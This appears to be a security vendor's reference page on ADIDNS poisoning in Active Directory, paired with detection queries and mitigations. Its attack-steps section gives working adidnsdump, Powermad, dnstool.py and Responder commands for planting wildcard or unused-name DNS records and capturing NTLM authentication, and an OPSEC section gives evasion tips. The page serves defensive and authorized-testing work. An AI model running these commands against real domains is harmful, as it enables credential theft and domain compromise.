1. Resources
  2. Identity Threats
  3. Active Directory

ADIDNS Poisoning and Wildcard Records

Also known as: ADIDNS spoofing, AD-integrated DNS poisoning, Wildcard DNS record attack, WPAD record hijack, DNS record injection

Any domain user can add records to Active Directory-integrated DNS zones, so a wildcard or an unused name can send other computers, and their authentication, to the attacker.

Platform
Active Directory
Impact
High
Last updated
MITRE ATT&CK technique
T1557Adversary-in-the-Middle
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any authenticated domain account, as long as the zone keeps the default entry that lets Authenticated Users create child objects. Changing an existing name needs write access to that node.
What the attacker gains
A position in the name resolution path: clients that look up the poisoned names connect and authenticate to the attacker, who captures or relays that authentication.
Threat groups
KimsukyMustang PandaSea TurtleGroups that MITRE ATT&CK records using T1557.

How it works

Active Directory-integrated DNS (ADIDNS) keeps zone data in the directory. Each zone is a dnsZone object, usually in the DomainDnsZones or ForestDnsZones application partition (older deployments use CN=MicrosoftDNS,CN=System in the domain partition). Each name in the zone is a dnsNode child object, and its dnsRecord attribute holds the resource records.

Because the data lives in Active Directory, access to it is decided by the access control lists of those objects, not by the DNS service. On a default zone, Authenticated Users may create child objects. That entry exists so that computers can register themselves, and it means any domain user can create a dnsNode for a name that does not exist yet. The creator owns the new node and controls its records.

There are two ways to write:

  • Secure dynamic update. The standard DNS update protocol, authenticated with Kerberos. The DNS server makes the change with the caller's identity.
  • LDAP. The attacker adds or modifies the dnsNode object directly. The DNS server picks the change up when it next reads the zone from the directory.

Three variants follow from this:

  • Wildcard record. A node named * supplies the answer for every query that has no closer match. The server uses it only when the queried name and its ancestors do not exist: an existing name with no record of the requested type returns an empty answer, not the wildcard, and a delegation hands the query to another server. The synthesized answer carries the queried name, so the asterisk never appears in a client's lookup.
  • A record for an unused name. Names that software looks up automatically are the targets: wpad for proxy auto-discovery, a retired file server that scripts and shortcuts still reference, or a host name with marshalled target information appended, which is the trick behind Kerberos relay over DNS and the reflection attack described in the CVE-2025-33073 analysis.
  • Takeover of an existing node. Changing a record that already exists needs write access to that node. It happens where a zone or node grants broad write access, where a node is owned by an account the attacker controls, or where a zone still accepts nonsecure updates.

The wpad case has a built-in obstacle. The Windows DNS server has a global query block list that contains wpad and isatap by default; while it is enabled the server does not answer for those names even when a matching record exists.

ADIDNS poisoning does the job of LLMNR and NBT-NS poisoning one layer up. It works across subnets, it survives the attacker going offline, and it still works after the fallback protocols have been disabled, because a wildcard makes DNS itself answer.

Prerequisites

  • A domain account, of any privilege level, and LDAP or DNS access to a domain controller.
  • A zone whose access control list still lets Authenticated Users create child objects (the default), or a zone that accepts nonsecure dynamic updates.
  • A name worth owning: no existing wildcard, and names that clients query but that have no record.
  • A host the victims can reach, for the capture or relay that gives the record its value.
  • For the existing-node variant: write access to the node or to its dnsRecord attribute.

A poisoned record only redirects. The client may be using a cached answer, the application may require Kerberos for a service name the attacker cannot satisfy, or it may reject the attacker's certificate. The attack pays off against protocols that fall back to NTLM and services that do not enforce signing.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the zones and their permissions

Any domain user can list the zones and dump their records. With adidnsdump from Linux:

# List the zones
adidnsdump -u 'CORP\alice' -p '<password>' --print-zones DC01.corp.example.com

# Dump every record of the domain zone to records.csv, resolving records the user cannot read
adidnsdump -u 'CORP\alice' -p '<password>' -r DC01.corp.example.com

With Powermad from a domain-joined Windows host:

Import-Module .\Powermad.ps1

Get-ADIDNSZone                  # zones in the directory
Get-ADIDNSPermission            # DACL of the default zone
Get-ADIDNSPermission -Node '*'  # does a wildcard node exist, and who controls it

Check what the candidate names resolve to today. A name that returns "does not exist" is free to take:

Resolve-DnsName fileserver2.corp.example.com
Resolve-DnsName wpad.corp.example.com

2. Add the record

A wildcard through LDAP with Powermad:

New-ADIDNSNode -Node '*' -Data 192.0.2.50

A single name through a secure dynamic update, which takes effect at once:

Invoke-DNSUpdate -DNSType A -DNSName fileserver2 -DNSData 192.0.2.50

From Linux, dnstool.py from the krbrelayx toolkit writes the node over LDAP:

# Add an A record for an unused name
dnstool.py -u 'CORP\alice' -p '<password>' -r fileserver2.corp.example.com -a add -d 192.0.2.50 192.0.2.10

# Add a wildcard
dnstool.py -u 'CORP\alice' -p '<password>' -r '*.corp.example.com' -a add -d 192.0.2.50 192.0.2.10

# Show what a name currently holds
dnstool.py -u 'CORP\alice' -p '<password>' -r fileserver2.corp.example.com -a query 192.0.2.10

Use --forest for a zone in ForestDnsZones, --legacy for one stored in the System container, and --zone when the zone is not the domain's own.

3. Change an existing record (when the node is writable)

Get-ADIDNSNodeOwner -Node srv01
Get-ADIDNSPermission -Node srv01
dnstool.py -u 'CORP\alice' -p '<password>' -r srv01.corp.example.com -a modify -d 192.0.2.50 192.0.2.10

4. Capture or relay what arrives

Clients that resolve the name now connect to 192.0.2.50. A capture server such as Responder collects NTLM challenge responses for offline cracking, and ntlmrelayx.py forwards the authentication to a server that does not require signing. Those stages are on the SMB relay and NTLM relay to LDAP pages.

sudo python3 Responder.py -I eth0 -v

5. Remove the record

Remove-ADIDNSNode -Node '*'      # delete the node
Disable-ADIDNSNode -Node '*'     # or tombstone it: the node stays in AD without a record
dnstool.py -u 'CORP\alice' -p '<password>' -r '*.corp.example.com' -a remove 192.0.2.10
dnstool.py -u 'CORP\alice' -p '<password>' -r '*.corp.example.com' -a ldapdelete 192.0.2.10

Impact

The attacker receives connections that were meant for other hosts, for one name or, with a wildcard, for every unregistered name in the zone. For SMB and HTTP clients that means authentication attempts: NTLM challenge responses to crack, which is credential theft, and live authentication to relay. A relayed privileged computer account can reach LDAP on a domain controller or the certificate enrollment web service, which turns a DNS record into domain compromise.

Taking over the name of a real service adds interception and denial of service: clients go to the wrong address until the record is corrected and their caches expire.

OPSEC and artifacts

  • Choosing the write path. A dynamic update goes through the DNS server and, where DNS audit logging is collected, appears as DNS Server audit event 519 (record created) or 520 (record deleted). A direct LDAP write does not pass through the DNS update path and does not appear there. Both create or modify a dnsNode object in the directory.
  • One precise name instead of a wildcard. A single record for a name that few clients query draws less traffic and is less likely to be noticed in a zone review. It is still a new dnsNode whose creator is a user account: event 5137 when the zones are audited, and the node's owner and whenCreated in the directory in any case.
  • Tombstoning instead of deleting. Tombstoning keeps the node under the attacker's ownership for reuse. The node remains in the directory with dnsTombstoned set, visible to anyone who dumps the zone with tombstoned records included.
  • Short lifetimes. Records can be made to disappear by themselves when the node is created as a dynamic object; see dynamic objects abuse. Resolver and client caches keep the answer for the record's TTL after it is gone.
  • Record changes. Each change to dnsRecord is event 5136 on an audited zone, and a deletion is event 5141.
  • Downstream noise. Many clients suddenly connecting to one workstation address on TCP 445 or 80, and NTLM logons arriving from that address at other servers, are visible on the network and in logon events.

Detection

  • New and changed nodes. The AD-integrated DNS record abuse rules match the creation of wildcard and wpad nodes and of names with marshalled target information, in events 5137 and 5136. They need Audit Directory Service Changes on domain controllers and an audit entry (SACL) on the zones in DomainDnsZones, ForestDnsZones and CN=MicrosoftDNS,CN=System. Without the SACL the record is created silently.
  • Who created the node. Computers register their own names with their computer account, and DHCP servers use a known account. A user account in the subject fields of 5137 for a dnsNode is unusual.
  • Zone review. Periodically list wildcard nodes, sensitive names and nodes owned by user accounts, and compare the zone with an approved inventory.
  • What followed. Search for NTLM network logons and relay indicators from the address in the record. See the NTLM relay rules.
// dnsNode objects created or changed, with the node name and the account that did it
WindowsEvent
| where Provider == "Microsoft-Windows-Security-Auditing" and EventID in (5136, 5137, 5141)
| extend DN = tostring(EventData.ObjectDN), Class = tostring(EventData.ObjectClass)
| where Class =~ "dnsNode"
| extend Node = extract(@"^DC=([^,]+),", 1, DN)
| project TimeGenerated, Computer, EventID, Node, DN,
    Attribute = tostring(EventData.AttributeLDAPDisplayName),
    Subject = tostring(EventData.SubjectUserName)
| where Node in~ ("*", "wpad", "isatap") or Subject !endswith "$"

The DNS Server analytical log (event 257 for responses) is disabled by default and is not collected by ordinary event forwarding, so an empty result there says nothing. DNS audit events 519 and 520 cover dynamic updates only.

Mitigation

  • Take the dangerous names yourself. Have an administrator create the wildcard node and other sensitive names (wpad, and names of retired servers that are still referenced) with a harmless record and a restricted access control list, so that no one else can register them.
  • Narrow the zone permissions. Where clients do not register themselves, or a DHCP server registers for them, replace the Authenticated Users entry with one for the accounts that need it. Check normal client and DHCP renewals after the change.
  • Keep the global query block list enabled with wpad and isatap on every DNS server. Read it with Get-DnsServerGlobalQueryBlockList or dnscmd /info /globalqueryblocklist. Do not use dnscmd /config /globalqueryblocklist to look at it: that form replaces the list and clears it when no names are given.
  • Accept secure dynamic updates only on every AD-integrated zone.
  • Remove the reward. Require SMB signing, LDAP signing and channel binding, and Extended Protection on web services, so that redirected authentication cannot be relayed. See the SMB signing guide and the LDAP signing and channel binding guide.
  • Disable the fallback protocols too. A wildcard record that points at a host you control stops LLMNR and NBT-NS lookups for missing names, but the protocols should still be turned off; see the LLMNR and NBT-NS guide.
  • Audit the zones. Add the SACL described under Detection and confirm that events 5136, 5137 and 5141 for dnsNode objects reach your SIEM.

Detection rules for this attack

Log events to collect

FAQ

Why can any domain user add DNS records in Active Directory?

Active Directory-integrated zones store every name as a dnsNode object, and the default zone permissions let Authenticated Users create child objects. The default exists so that computers can register their own names. It also lets any user add a name that does not exist yet, either over LDAP or with a secure dynamic update, and point it at any address.

What does a wildcard DNS record do in an attack?

A record at the name * answers queries for any name in the zone that has no record of its own. Mistyped server names, names of retired hosts and names that software probes automatically all resolve to the attacker's address instead of failing, so those clients connect to the attacker and, for SMB and HTTP, try to authenticate.

Does the DNS global query block list stop WPAD hijacking?

It stops the plain case. By default the Windows DNS server refuses to answer for wpad and isatap even when a record exists. The list is per server and can be changed, and the service can drop a default name from it at first start if that name already existed in a zone, so check the effective list on every DNS server instead of assuming it.

How do you detect ADIDNS poisoning?

Audit object creation and writes on the DNS zones. With a SACL on the zones and Directory Service Changes auditing on domain controllers, event 5137 records each new dnsNode with its name and creator, and event 5136 records changes to dnsRecord. A wildcard, a wpad name, or any name created by an ordinary user account instead of a computer or DHCP account is the signal.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.